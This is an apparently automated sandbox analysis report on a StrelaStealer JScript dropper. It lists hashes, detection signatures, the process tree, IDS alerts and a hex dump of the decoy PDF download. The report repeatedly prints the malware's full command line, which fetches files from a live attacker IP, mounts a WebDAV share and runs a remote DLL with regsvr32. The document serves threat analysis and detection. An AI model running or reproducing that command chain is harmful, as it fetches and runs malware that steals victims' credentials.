Edit tour

Windows Analysis Report
321646101945257.js

Overview

General Information

Sample name:	321646101945257.js
Analysis ID:	1588760
MD5:	26f3f4d92b14c17bc37987cf83e0dbdd
SHA1:	7ce57b6e4cdf2a46ec9d0f1b936b02d30ef64298
SHA256:	c4236e0c107bd91d248c8c011c19c48dfb27190514ce53d2e37fd82f5a17d2a2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3560 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4856 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6768 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6520 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1528,i,9408754715289041947,3507642621052571991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6536 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5560 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4956 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3560	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ProcessId: 3560, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5560, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 4856, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 4856, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 4856, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 4856, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 4856, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ProcessId: 3560, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5560, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4956, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5560, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll, ProcessId: 4856, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:11:22.522410+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:11:25.504531+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:11:22.522410+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 321646101945257.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 321646101945257.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 321646101945257.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:11:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 